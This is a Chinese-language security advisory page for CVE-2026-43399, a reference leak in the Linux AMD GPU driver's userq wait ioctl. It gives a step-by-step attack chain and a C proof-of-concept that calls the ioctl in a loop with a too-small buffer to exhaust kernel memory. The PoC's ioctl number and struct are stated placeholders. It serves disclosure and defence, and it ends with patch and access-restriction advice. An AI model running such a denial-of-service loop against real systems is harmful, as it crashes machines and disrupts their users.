IPBUF安全漏洞报告
English
CVE-2026-43399 CVSS 5.5 中危

CVE-2026-43399: Linux内核AMD GPU驱动引用泄漏漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43399
漏洞类型
资源管理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelAMDGPU资源泄漏本地漏洞拒绝服务

漏洞概述

Linux内核的AMD GPU驱动程序组件存在安全漏洞。在`amdgpu_userq_wait_ioctl`函数执行过程中,若检测到用户提供的输出数组大小不足,函数将中止操作并返回错误。然而,在该错误处理路径中,代码未正确释放对同步对象和时间线栅栏的引用。这种引用计数错误会导致内核资源无法被回收,长期积累可能引发资源耗尽,进而导致系统拒绝服务,影响系统可用性。

技术细节

该漏洞属于内核驱动组件中的资源管理错误。Linux内核通过引用计数机制来管理对象的生命周期,其中`drm_syncobj`和`dma_fence`是GPU驱动中用于同步的关键对象。在`amdgpu_userq_wait_ioctl`函数执行过程中,代码会正常获取这些对象的引用。然而,当检测到用户提供的输出数组过小时,函数会跳转到错误处理路径退出。问题在于该路径中遗漏了对引用计数的释放操作。由于漏洞利用条件简单(本地低权限、无需用户交互),攻击者可以通过编写恶意脚本,循环调用该ioctl并故意传递过小的缓冲区。这将导致内核持续泄漏内存资源,最终耗尽系统内存,引发系统崩溃或无响应,从而实现拒绝服务攻击。

攻击链分析

STEP 1
获取本地访问权限
攻击者获得目标 Linux 系统的本地低权限用户访问权限。
STEP 2
确认硬件环境
确认系统是否使用了 AMD GPU 且加载了相应的 amdgpu 驱动。
STEP 3
构造恶意请求
编写程序,针对 `/dev/dri/` 设备文件调用 `amdgpu_userq_wait_ioctl`,并故意设置过小的输出数组大小。
STEP 4
触发引用泄漏
重复执行该 IOCTL 调用,利用错误处理路径中的逻辑缺陷,导致内核未能释放 syncobj 和 fence 引用。
STEP 5
资源耗尽
随着泄漏累积,内核内存逐渐耗尽,最终导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43399 * Trigger reference leak in amdgpu_userq_wait_ioctl by providing * a small output buffer. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <string.h> // Define the IOCTL command number for amdgpu_userq_wait_ioctl // This value is illustrative and depends on the kernel header definitions #define DRM_IOCTL_AMDGPU_USERQ_WAIT 0x40 // Placeholder struct amdgpu_userq_wait_args { __u64 out_ptr; // Pointer to output array __u32 out_size; // Size of output array // ... other fields ... }; int main() { int fd = -1; // Attempt to open the AMD GPU device // Common paths: /dev/dri/renderD128, /dev/dri/card0 const char* device_paths[] = {"/dev/dri/renderD128", "/dev/dri/card0"}; for (int i = 0; i < 2; i++) { fd = open(device_paths[i], O_RDWR); if (fd >= 0) { printf("[+] Opened device: %s\n", device_paths[i]); break; } } if (fd < 0) { perror("[-] Failed to open device"); return 1; } struct amdgpu_userq_wait_args args; memset(&args, 0, sizeof(args)); // Allocate a small buffer to trigger the error path char small_buf[4]; args.out_ptr = (__u64)(unsigned long)small_buf; args.out_size = 4; // Intentionally too small printf("[*] Triggering vulnerability in a loop...\n"); // Loop to exhaust resources for(int i = 0; i < 10000; i++) { if (ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_WAIT, &args) < 0) { // Expected to fail due to small buffer, but should clean up refs // Vulnerability: cleanup is missing here } if (i % 1000 == 0) printf("Iterations: %d\n", i); } close(fd); printf("[*] Done. Check kernel memory usage.\n"); return 0; }

影响范围

Linux Kernel(修复补丁 49abfa812617, 5409247d41f3, 762f47e2b824 之前的版本)

防御指南

临时缓解措施
建议立即更新系统内核以修复此引用泄漏问题。如果无法立即更新,可考虑限制对 `/dev/dri/` 设备文件的访问权限,仅允许受信任的用户或服务访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表